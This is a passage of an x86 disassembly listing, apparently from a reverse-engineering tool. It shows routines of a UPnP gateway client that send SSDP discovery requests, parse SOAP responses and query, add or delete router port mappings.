cmp [ebp+cp], edi
jz short loc_9B4FB2
push [ebp+cp] ; cp
call esi ; __imp_inet_addr
push 4 ; optlen
mov [ebp+Size], eax
mov [ebp+var_30], eax
lea eax, [ebp+Size]
push eax ; optval
push 9 ; optname
push edi ; level
push [ebp+s] ; s
call ebx ; setsockopt
loc_9B4FB2: ; CODE XREF: sub_9B4EE4+B3j
push 10h ; namelen
lea eax, [ebp+Dst]
push eax ; name
push [ebp+s] ; s
call bind
test eax, eax
jnz loc_9B504D
mov [ebp+var_1C], edi
mov [ebp+var_C], offset off_9A6D24
jmp short loc_9B4FD7
; ---------------------------------------------------------------------------
loc_9B4FD5: ; CODE XREF: sub_9B4EE4+1A8j
; sub_9B4EE4+1B2j ...
xor edi, edi
loc_9B4FD7: ; CODE XREF: sub_9B4EE4+EFj
; sub_9B4EE4+164j
cmp [ebp+var_1C], edi
jnz short loc_9B501B
mov eax, [ebp+var_C]
push dword ptr [eax]
lea eax, [ebp+buf]
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255."...
push 600h ; Count
push eax ; Dest
call _snprintf
add [ebp+var_C], 4
add esp, 10h
push 10h ; tolen
lea ecx, [ebp+to]
push ecx ; to
push edi ; flags
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
push [ebp+s] ; s
call sendto
test eax, eax
jl short loc_9B504A
loc_9B501B: ; CODE XREF: sub_9B4EE4+F6j
push [ebp+arg_0] ; int
lea eax, [ebp+buf]
push 600h ; len
push eax ; buf
push [ebp+s] ; s
call sub_9B4AC0
add esp, 10h
cmp eax, edi
mov [ebp+var_1C], eax
jl short loc_9B504A
jnz short loc_9B505D
cmp [ebp+var_4], edi
jnz short loc_9B504A
mov eax, [ebp+var_C]
cmp [eax], edi
jnz short loc_9B4FD7
loc_9B504A: ; CODE XREF: sub_9B4EE4+135j
; sub_9B4EE4+156j ...
mov edi, [ebp+var_4]
loc_9B504D: ; CODE XREF: sub_9B4EE4+DFj
push [ebp+s] ; s
call closesocket
mov eax, edi
loc_9B5058: ; CODE XREF: sub_9B4EE4+ABj
pop esi
pop ebx
loc_9B505A: ; CODE XREF: sub_9B4EE4+2Bj
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_9B505D: ; CODE XREF: sub_9B4EE4+158j
lea ecx, [ebp+var_20]
push ecx
lea ecx, [ebp+var_14]
push ecx
lea ecx, [ebp+Size]
push ecx
lea ecx, [ebp+Src]
push ecx
push eax
lea ebx, [ebp+buf]
mov [ebp+Src], edi
mov [ebp+Size], edi
mov [ebp+var_14], edi
mov [ebp+var_20], edi
call sub_9B488E
add esp, 14h
cmp [ebp+var_14], 0
jz loc_9B4FD5
cmp [ebp+Src], 0
jz loc_9B4FD5
mov edi, [ebp+var_20]
mov ebx, [ebp+Size]
lea eax, [edi+ebx+10h]
push eax ; Size
call malloc
mov esi, eax
mov eax, [ebp+var_4]
push ebx ; Size
push [ebp+Src] ; Src
lea ecx, [esi+0Ch]
mov [esi], eax
lea eax, [esi+ebx+0Dh]
push ecx ; Dst
mov [esi+4], ecx
mov [esi+8], eax
call memcpy
push edi ; Size
push [ebp+var_14] ; Src
lea eax, [esi+ebx+0Dh]
push eax ; Dst
mov byte ptr [esi+ebx+0Ch], 0
call memcpy
lea eax, [esi+edi]
add esp, 1Ch
mov byte ptr [eax+ebx+0Dh], 0
mov [ebp+var_4], esi
jmp loc_9B4FD5
sub_9B4EE4 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B50F1(int, void *Src, size_t Size)
sub_9B50F1 proc near ; DATA XREF: sub_9B517D+20o
arg_0 = dword ptr 4
Src = dword ptr 8
Size = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+Size]
cmp edi, 3Fh
jle short loc_9B50FF
push 3Fh
pop edi
loc_9B50FF: ; CODE XREF: sub_9B50F1+9j
mov esi, [esp+8+arg_0]
push edi ; Size
push [esp+0Ch+Src] ; Src
lea eax, [esi+4]
push eax ; Dst
call memcpy
add esp, 0Ch
mov byte ptr [esi+edi+4], 0
pop edi
pop esi
retn
sub_9B50F1 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B511C(int, void *Src, size_t Size)
sub_9B511C proc near ; DATA XREF: sub_9B517D+2Ao
arg_0 = dword ptr 4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebx
push esi
push edi
push 88h ; Size
call malloc
mov ebx, [esp+10h+Size]
cmp ebx, 3Fh
pop ecx
mov esi, eax
jle short loc_9B5139
push 3Fh
pop ebx
loc_9B5139: ; CODE XREF: sub_9B511C+18j
mov edi, [esp+0Ch+arg_0]
push 40h ; Count
lea eax, [edi+4]
push eax ; Source
lea eax, [esi+8]
push eax ; Dest
call strncpy
push ebx ; Size
push [esp+1Ch+Src] ; Src
lea eax, [esi+48h]
push eax ; Dst
mov byte ptr [esi+47h], 0
call memcpy
mov byte ptr [esi+ebx+48h], 0
mov eax, [edi]
add esp, 18h
test eax, eax
mov [esi], eax
jz short loc_9B5174
mov eax, [edi]
mov [eax+4], esi
loc_9B5174: ; CODE XREF: sub_9B511C+51j
mov [edi], esi
mov [esi+4], edi
pop edi
pop esi
pop ebx
retn
sub_9B511C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B517D proc near ; CODE XREF: sub_9B5214+5Cp
; sub_9B5353+65p ...
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_0]
xor ecx, ecx
mov [eax], ecx
mov [ebp+var_14], eax
mov [ebp+var_24], edx
mov edx, [ebp+arg_4]
lea eax, [ebp+var_24]
push eax
mov [ebp+var_18], edx
mov [ebp+var_10], offset sub_9B50F1
mov [ebp+var_C], ecx
mov [ebp+var_8], offset sub_9B511C
mov [ebp+var_4], ecx
call sub_9B450D
pop ecx
leave
retn
sub_9B517D endp
; =============== S U B R O U T I N E =======================================
sub_9B51B9 proc near ; CODE XREF: sub_9B5214+132p
; sub_9B5353+C5p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
jmp short loc_9B51DB
; ---------------------------------------------------------------------------
loc_9B51C0: ; CODE XREF: sub_9B51B9+26j
mov ecx, [eax]
test ecx, ecx
jz short loc_9B51CC
mov edx, [eax+4]
mov [ecx+4], edx
loc_9B51CC: ; CODE XREF: sub_9B51B9+Bj
mov ecx, [eax+4]
mov edx, [eax]
push eax ; Memory
mov [ecx], edx
call free
pop ecx
loc_9B51DB: ; CODE XREF: sub_9B51B9+5j
mov eax, [esi]
test eax, eax
jnz short loc_9B51C0
pop esi
retn
sub_9B51B9 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B51E3(int, char *Str2)
sub_9B51E3 proc near ; CODE XREF: sub_9B5214+6Ap
; sub_9B5214+7Bp ...
arg_0 = dword ptr 4
Str2 = dword ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, [eax]
push edi
xor edi, edi
jmp short loc_9B520B
; ---------------------------------------------------------------------------
loc_9B51EF: ; CODE XREF: sub_9B51E3+2Aj
test edi, edi
jnz short loc_9B520F
push [esp+8+Str2] ; Str2
lea eax, [esi+8]
push eax ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B5209
lea edi, [esi+48h]
loc_9B5209: ; CODE XREF: sub_9B51E3+21j
mov esi, [esi]
loc_9B520B: ; CODE XREF: sub_9B51E3+Aj
test esi, esi
jnz short loc_9B51EF
loc_9B520F: ; CODE XREF: sub_9B51E3+Ej
mov eax, edi
pop edi
pop esi
retn
sub_9B51E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B5214(char *Str, int, char *Source, int, char *Dest)
sub_9B5214 proc near ; CODE XREF: sub_9B4B2C+22p
var_1054 = dword ptr -1054h
var_54 = dword ptr -54h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
Source = dword ptr 10h
arg_C = dword ptr 14h
Dest = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1054h
call __alloca_probe
or [ebp+var_4], 0FFFFFFFFh
push ebx
push esi
mov esi, [ebp+Source]
xor ebx, ebx
cmp esi, ebx
mov [ebp+var_C], 1000h
jnz short loc_9B5244
cmp [ebp+arg_C], ebx
jnz short loc_9B5244
push 0FFFFFFFEh
pop eax
jmp loc_9B534F
; ---------------------------------------------------------------------------
loc_9B5244: ; CODE XREF: sub_9B5214+21j
; sub_9B5214+26j
lea eax, [ebp+var_C]
push eax ; int
lea eax, [ebp+var_1054]
push eax ; int
push ebx ; int
push offset aGetstatusinfo ; "GetStatusInfo"
push [ebp+arg_4] ; int
push [ebp+Str] ; Str
push 0FFFFFFFFh ; s
call sub_9B4C5A
lea eax, [ebp+var_54]
push eax
push [ebp+var_C]
lea eax, [ebp+var_1054]
push eax
call sub_9B517D
lea eax, [ebp+var_54]
push offset aNewuptime ; "NewUptime"
push eax ; int
call sub_9B51E3
mov [ebp+Src], eax
lea eax, [ebp+var_54]
push offset aNewconnections ; "NewConnectionStatus"
push eax ; int
call sub_9B51E3
mov [ebp+Source], eax
lea eax, [ebp+var_54]
push offset aNewlastconnect ; "NewLastConnectionError"
push eax ; int
call sub_9B51E3
add esp, 40h
cmp [ebp+Source], ebx
mov [ebp+var_10], eax
jz short loc_9B52B8
cmp [ebp+Src], ebx
jz short loc_9B52B8
mov [ebp+var_4], ebx
loc_9B52B8: ; CODE XREF: sub_9B5214+9Aj
; sub_9B5214+9Fj
cmp esi, ebx
push edi
mov edi, strncpy
jz short loc_9B52DA
cmp [ebp+Source], ebx
jz short loc_9B52D8
push 40h ; Count
push [ebp+Source] ; Source
push esi ; Dest
call edi ; strncpy
add esp, 0Ch
mov [esi+3Fh], bl
jmp short loc_9B52DA
; ---------------------------------------------------------------------------
loc_9B52D8: ; CODE XREF: sub_9B5214+B2j
mov [esi], bl
loc_9B52DA: ; CODE XREF: sub_9B5214+ADj
; sub_9B5214+C2j
cmp [ebp+arg_C], ebx
jz short loc_9B52F8
cmp [ebp+Src], ebx
jz short loc_9B52F8
push [ebp+arg_C]
push offset aU ; "%u"
push [ebp+Src] ; Src
call sscanf
add esp, 0Ch
loc_9B52F8: ; CODE XREF: sub_9B5214+C9j
; sub_9B5214+CEj
mov esi, [ebp+Dest]
cmp esi, ebx
jz short loc_9B5316
cmp [ebp+var_10], ebx
jz short loc_9B5314
push 40h ; Count
push [ebp+var_10] ; Source
push esi ; Dest
call edi ; strncpy
add esp, 0Ch
mov [esi+3Fh], bl
jmp short loc_9B5316
; ---------------------------------------------------------------------------
loc_9B5314: ; CODE XREF: sub_9B5214+EEj
mov [esi], bl
loc_9B5316: ; CODE XREF: sub_9B5214+E9j
; sub_9B5214+FEj
lea eax, [ebp+var_54]
push offset aErrorcode ; "errorCode"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
pop edi
jz short loc_9B5342
or [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4]
push ecx
push offset aD ; "%d"
push eax ; Src
call sscanf
add esp, 0Ch
loc_9B5342: ; CODE XREF: sub_9B5214+115j
lea eax, [ebp+var_54]
push eax
call sub_9B51B9
mov eax, [ebp+var_4]
pop ecx
loc_9B534F: ; CODE XREF: sub_9B5214+2Bj
pop esi
pop ebx
leave
retn
sub_9B5214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B5353(char *Str, int, char *Dest)
sub_9B5353 proc near ; CODE XREF: sub_9A9289+5Fp
var_104C = dword ptr -104Ch
var_4C = dword ptr -4Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
Dest = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 104Ch
call __alloca_probe
or [ebp+var_4], 0FFFFFFFFh
push ebx
push esi
mov esi, [ebp+Dest]
xor ebx, ebx
cmp esi, ebx
mov [ebp+var_8], 1000h
jz loc_9B5423
cmp [ebp+Str], ebx
jz loc_9B5423
cmp [ebp+arg_4], ebx
jz loc_9B5423
lea eax, [ebp+var_8]
push eax ; int
lea eax, [ebp+var_104C]
push eax ; int
push ebx ; int
push offset aGetexternalipa ; "GetExternalIPAddress"
push [ebp+arg_4] ; int
push [ebp+Str] ; Str
push 0FFFFFFFFh ; s
call sub_9B4C5A
lea eax, [ebp+var_4C]
push eax
push [ebp+var_8]
lea eax, [ebp+var_104C]
push eax
call sub_9B517D
lea eax, [ebp+var_4C]
push offset aNewexternalipa ; "NewExternalIPAddress"
push eax ; int
call sub_9B51E3
add esp, 30h
cmp eax, ebx
jz short loc_9B53E7
push 10h ; Count
push eax ; Source
push esi ; Dest
call strncpy
add esp, 0Ch
mov [esi+0Fh], bl
mov [ebp+var_4], ebx
jmp short loc_9B53E9
; ---------------------------------------------------------------------------
loc_9B53E7: ; CODE XREF: sub_9B5353+7Dj
mov [esi], bl
loc_9B53E9: ; CODE XREF: sub_9B5353+92j
lea eax, [ebp+var_4C]
push offset aErrorcode ; "errorCode"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B5414
or [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4]
push ecx
push offset aD ; "%d"
push eax ; Src
call sscanf
add esp, 0Ch
loc_9B5414: ; CODE XREF: sub_9B5353+A8j
lea eax, [ebp+var_4C]
push eax
call sub_9B51B9
mov eax, [ebp+var_4]
pop ecx
jmp short loc_9B5426
; ---------------------------------------------------------------------------
loc_9B5423: ; CODE XREF: sub_9B5353+21j
; sub_9B5353+2Aj ...
push 0FFFFFFFEh
pop eax
loc_9B5426: ; CODE XREF: sub_9B5353+CEj
pop esi
pop ebx
leave
retn
sub_9B5353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B542A(char *Str, int, int, int, int, int, int)
sub_9B542A proc near ; CODE XREF: sub_9A932E+CFp
var_104C = dword ptr -104Ch
var_4C = dword ptr -4Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, 104Ch
call __alloca_probe
cmp [ebp+arg_C], 0
push ebx
push edi
mov [ebp+var_8], 1000h
jz loc_9B555A
cmp [ebp+arg_10], 0
jz loc_9B555A
mov ebx, [ebp+arg_18]
test ebx, ebx
jz loc_9B555A
mov edi, [ebp+arg_8]
test edi, edi
jz loc_9B555A
push esi
push 8 ; SizeOfElements
push 9 ; NumOfElements
call calloc
mov esi, eax
mov eax, [ebp+arg_C]
mov [esi+1Ch], eax
mov eax, [ebp+arg_10]
mov [esi+24h], eax
mov eax, [ebp+arg_14]
test eax, eax
pop ecx
pop ecx
mov dword ptr [esi], offset aNewremotehost ; "NewRemoteHost"
mov dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort"
mov [esi+0Ch], edi
mov dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol"
mov [esi+14h], ebx
mov dword ptr [esi+18h], offset aNewinternalpor ; "NewInternalPort"
mov dword ptr [esi+20h], offset aNewinternalcli ; "NewInternalClient"
mov dword ptr [esi+28h], offset aNewenabled ; "NewEnabled"
mov dword ptr [esi+2Ch], offset a1 ; "1"
mov dword ptr [esi+30h], offset aNewportmapping ; "NewPortMappingDescription"
jnz short loc_9B54CE
mov eax, offset Password
loc_9B54CE: ; CODE XREF: sub_9B542A+9Dj
mov [esi+34h], eax
lea eax, [ebp+var_8]
push eax ; int
lea eax, [ebp+var_104C]
push eax ; int
push esi ; int
push offset aAddportmapping ; "AddPortMapping"
push [ebp+arg_4] ; int
mov dword ptr [esi+38h], offset aNewleasedurati ; "NewLeaseDuration"
push [ebp+Str] ; Str
mov dword ptr [esi+3Ch], offset PrefixString ; "0"
push 0FFFFFFFFh ; s
call sub_9B4C5A
lea eax, [ebp+var_4C]
push eax
push [ebp+var_8]
lea eax, [ebp+var_104C]
push eax
call sub_9B517D
lea eax, [ebp+var_4C]
push offset aErrorcode ; "errorCode"
push eax ; int
call sub_9B51E3
add esp, 30h
test eax, eax
jz short loc_9B553E
or [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4]
push ecx
push offset aD ; "%d"
push eax ; Src
call sscanf
add esp, 0Ch
jmp short loc_9B5542
; ---------------------------------------------------------------------------
loc_9B553E: ; CODE XREF: sub_9B542A+F9j
and [ebp+var_4], 0
loc_9B5542: ; CODE XREF: sub_9B542A+112j
lea eax, [ebp+var_4C]
push eax
call sub_9B51B9
push esi ; Memory
call free
mov eax, [ebp+var_4]
pop ecx
pop ecx
pop esi
jmp short loc_9B555D
; ---------------------------------------------------------------------------
loc_9B555A: ; CODE XREF: sub_9B542A+1Aj
; sub_9B542A+24j ...
push 0FFFFFFFEh
pop eax
loc_9B555D: ; CODE XREF: sub_9B542A+12Ej
pop edi
pop ebx
leave
retn
sub_9B542A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B5561(char *Str, int, int, int)
sub_9B5561 proc near ; CODE XREF: sub_9A9199+C6p
var_1048 = dword ptr -1048h
var_48 = dword ptr -48h
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 1048h
call __alloca_probe
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
push edi
mov [ebp+var_4], 1000h
jz loc_9B562F
mov edi, [ebp+arg_C]
test edi, edi
jz loc_9B562F
push esi
push 8 ; SizeOfElements
push 4 ; NumOfElements
call calloc
mov esi, eax
lea eax, [ebp+var_4]
push eax ; int
lea eax, [ebp+var_1048]
push eax ; int
push esi ; int
push offset aDeleteportmapp ; "DeletePortMapping"
push [ebp+arg_4] ; int
mov dword ptr [esi], offset aNewremotehost ; "NewRemoteHost"
push [ebp+Str] ; Str
mov dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort"
push 0FFFFFFFFh ; s
mov [esi+0Ch], ebx
mov dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol"
mov [esi+14h], edi
call sub_9B4C5A
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
lea eax, [ebp+var_1048]
push eax
call sub_9B517D
lea eax, [ebp+var_48]
push offset aErrorcode ; "errorCode"
push eax ; int
call sub_9B51E3
add esp, 38h
test eax, eax
jz short loc_9B5613
or [ebp+arg_8], 0FFFFFFFFh
lea ecx, [ebp+arg_8]
push ecx
push offset aD ; "%d"
push eax ; Src
call sscanf
add esp, 0Ch
jmp short loc_9B5617
; ---------------------------------------------------------------------------
loc_9B5613: ; CODE XREF: sub_9B5561+97j
and [ebp+arg_8], 0
loc_9B5617: ; CODE XREF: sub_9B5561+B0j
lea eax, [ebp+var_48]
push eax
call sub_9B51B9
push esi ; Memory
call free
mov eax, [ebp+arg_8]
pop ecx
pop ecx
pop esi
jmp short loc_9B5632
; ---------------------------------------------------------------------------
loc_9B562F: ; CODE XREF: sub_9B5561+1Bj
; sub_9B5561+26j
push 0FFFFFFFEh
pop eax
loc_9B5632: ; CODE XREF: sub_9B5561+CCj
pop edi
pop ebx
leave
retn
sub_9B5561 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B5636(char *Str, int, void *Memory, int, int, int, int, int, int, char *Dest, int)
sub_9B5636 proc near ; CODE XREF: sub_9A9199+81p
var_104C = dword ptr -104Ch
var_4C = dword ptr -4Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
Memory = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
Dest = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 104Ch
call __alloca_probe
or [ebp+var_4], 0FFFFFFFFh
push ebx
push esi
mov esi, [ebp+Memory]
xor ebx, ebx
cmp esi, ebx
mov [ebp+var_8], 1000h
jnz short loc_9B5661
push 0FFFFFFFEh
pop eax
jmp loc_9B5833
; ---------------------------------------------------------------------------
loc_9B5661: ; CODE XREF: sub_9B5636+21j
mov eax, [ebp+arg_10]
push edi
mov [eax], bl
mov eax, [ebp+arg_14]
push 8 ; SizeOfElements
push 2 ; NumOfElements
mov [eax], bl
call calloc
lea ecx, [ebp+var_8]
push ecx ; int
lea ecx, [ebp+var_104C]
push ecx ; int
push eax ; int
push offset aGetgenericport ; "GetGenericPortMappingEntry"
push [ebp+arg_4] ; int
mov [ebp+Memory], eax
push [ebp+Str] ; Str
mov dword ptr [eax], offset aNewportmappi_0 ; "NewPortMappingIndex"
push 0FFFFFFFFh ; s
mov [eax+4], esi
call sub_9B4C5A
lea eax, [ebp+var_4C]
push eax
push [ebp+var_8]
lea eax, [ebp+var_104C]
push eax
call sub_9B517D
lea eax, [ebp+var_4C]
push offset aNewremotehost ; "NewRemoteHost"
push eax ; int
call sub_9B51E3
mov esi, strncpy
add esp, 38h
cmp eax, ebx
jz short loc_9B56E1
mov edi, [ebp+Dest]
cmp edi, ebx
jz short loc_9B56E1
push 40h ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+3Fh], bl
loc_9B56E1: ; CODE XREF: sub_9B5636+96j
; sub_9B5636+9Dj
lea eax, [ebp+var_4C]
push offset aNewexternalpor ; "NewExternalPort"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B570B
mov edi, [ebp+arg_C]
cmp edi, ebx
jz short loc_9B570B
push 6 ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+5], bl
mov [ebp+var_4], ebx
loc_9B570B: ; CODE XREF: sub_9B5636+BDj
; sub_9B5636+C4j
lea eax, [ebp+var_4C]
push offset aNewprotocol ; "NewProtocol"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B5732
mov edi, [ebp+arg_18]
cmp edi, ebx
jz short loc_9B5732
push 4 ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+3], bl
loc_9B5732: ; CODE XREF: sub_9B5636+E7j
; sub_9B5636+EEj
lea eax, [ebp+var_4C]
push offset aNewinternalcli ; "NewInternalClient"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B5758
mov edi, [ebp+arg_10]
push 10h ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+0Fh], bl
mov [ebp+var_4], ebx
loc_9B5758: ; CODE XREF: sub_9B5636+10Ej
lea eax, [ebp+var_4C]
push offset aNewinternalpor ; "NewInternalPort"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B577B
mov edi, [ebp+arg_14]
push 6 ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+5], bl
loc_9B577B: ; CODE XREF: sub_9B5636+134j
lea eax, [ebp+var_4C]
push offset aNewenabled ; "NewEnabled"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B57A2
mov edi, [ebp+arg_20]
cmp edi, ebx
jz short loc_9B57A2
push 4 ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+3], bl
loc_9B57A2: ; CODE XREF: sub_9B5636+157j
; sub_9B5636+15Ej
lea eax, [ebp+var_4C]
push offset aNewportmapping ; "NewPortMappingDescription"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B57C9
mov edi, [ebp+arg_1C]
cmp edi, ebx
jz short loc_9B57C9
push 50h ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+4Fh], bl
loc_9B57C9: ; CODE XREF: sub_9B5636+17Ej
; sub_9B5636+185j
lea eax, [ebp+var_4C]
push offset aNewleasedurati ; "NewLeaseDuration"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9B57F0
mov edi, [ebp+arg_28]
cmp edi, ebx
jz short loc_9B57F0
push 10h ; Count
push eax ; Source
push edi ; Dest
call esi ; strncpy
add esp, 0Ch
mov [edi+0Fh], bl
loc_9B57F0: ; CODE XREF: sub_9B5636+1A5j
; sub_9B5636+1ACj
lea eax, [ebp+var_4C]
push offset aErrorcode ; "errorCode"
push eax ; int
call sub_9B51E3
cmp eax, ebx
pop ecx
pop ecx
pop edi
jz short loc_9B581C
or [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4]
push ecx
push offset aD ; "%d"
push eax ; Src
call sscanf
add esp, 0Ch
loc_9B581C: ; CODE XREF: sub_9B5636+1CDj
lea eax, [ebp+var_4C]
push eax
call sub_9B51B9
push [ebp+Memory] ; Memory
call free
mov eax, [ebp+var_4]
pop ecx
pop ecx
loc_9B5833: ; CODE XREF: sub_9B5636+26j
pop esi
pop ebx
leave
retn
sub_9B5636 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B5837(char *Str, int, int, int, char *Dest, int)
sub_9B5837 proc near ; CODE XREF: sub_9A932E+F8p
var_104C = dword ptr -104Ch
var_4C = dword ptr -4Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Dest = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, 104Ch
call __alloca_probe
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+arg_14], 0
push ebx
push edi
mov [ebp+var_8], 1000h
jz loc_9B5979
cmp [ebp+Dest], 0
jz loc_9B5979
mov ebx, [ebp+arg_8]
test ebx, ebx
jz loc_9B5979
mov edi, [ebp+arg_C]
test edi, edi
jz loc_9B5979
push esi
push 8 ; SizeOfElements
push 4 ; NumOfElements
call calloc
mov esi, eax
lea eax, [ebp+var_8]
push eax ; int
lea eax, [ebp+var_104C]
push eax ; int
push esi ; int
push offset aGetspecificpor ; "GetSpecificPortMappingEntry"
push [ebp+arg_4] ; int
mov dword ptr [esi], offset aNewremotehost ; "NewRemoteHost"
push [ebp+Str] ; Str
mov dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort"
push 0FFFFFFFFh ; s
mov [esi+0Ch], ebx
mov dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol"
mov [esi+14h], edi
call sub_9B4C5A
lea eax, [ebp+var_4C]
push eax
push [ebp+var_8]
lea eax, [ebp+var_104C]
push eax
call sub_9B517D
lea eax, [ebp+var_4C]
push offset aNewinternalcli ; "NewInternalClient"
push eax ; int
call sub_9B51E3
mov edi, strncpy
add esp, 38h
test eax, eax
jz short loc_9B5904
mov ebx, [ebp+Dest]
push 10h ; Count
push eax ; Source
push ebx ; Dest
call edi ; strncpy
add esp, 0Ch
and [ebp+var_4], 0
mov byte ptr [ebx+0Fh], 0
jmp short loc_9B590A
; ---------------------------------------------------------------------------
loc_9B5904: ; CODE XREF: sub_9B5837+B5j
mov eax, [ebp+Dest]
mov byte ptr [eax], 0
loc_9B590A: ; CODE XREF: sub_9B5837+CBj
lea eax, [ebp+var_4C]
push offset aNewinternalpor ; "NewInternalPort"
push eax ; int
call sub_9B51E3
test eax, eax
pop ecx
pop ecx
jz short loc_9B5930
mov ebx, [ebp+arg_14]
push 6 ; Count
push eax ; Source
push ebx ; Dest
call edi ; strncpy
add esp, 0Ch
mov byte ptr [ebx+5], 0
jmp short loc_9B5936
; ---------------------------------------------------------------------------
loc_9B5930: ; CODE XREF: sub_9B5837+E5j
mov eax, [ebp+arg_14]
mov byte ptr [eax], 0
loc_9B5936: ; CODE XREF: sub_9B5837+F7j
lea eax, [ebp+var_4C]
push offset aErrorcode ; "errorCode"
push eax ; int
call sub_9B51E3
test eax, eax
pop ecx
pop ecx
jz short loc_9B5961
or [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4]
push ecx
push offset aD ; "%d"
push eax ; Src
call sscanf
add esp, 0Ch
loc_9B5961: ; CODE XREF: sub_9B5837+111j
lea eax, [ebp+var_4C]
push eax
call sub_9B51B9
push esi ; Memory
call free
mov eax, [ebp+var_4]
pop ecx
pop ecx
pop esi
jmp short loc_9B597C
; ---------------------------------------------------------------------------
loc_9B5979: ; CODE XREF: sub_9B5837+1Ej
; sub_9B5837+28j ...
push 0FFFFFFFEh
pop eax
loc_9B597C: ; CODE XREF: sub_9B5837+140j
pop edi
pop ebx
leave
retn
sub_9B5837 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B5980(int, int, void *Dst)
sub_9B5980 proc near ; CODE XREF: sub_9AE331+3Ap
; sub_9AE331+A7p
var_3C98 = dword ptr -3C98h
Src = byte ptr -3C90h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Dst = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 3C98h
call __alloca_probe
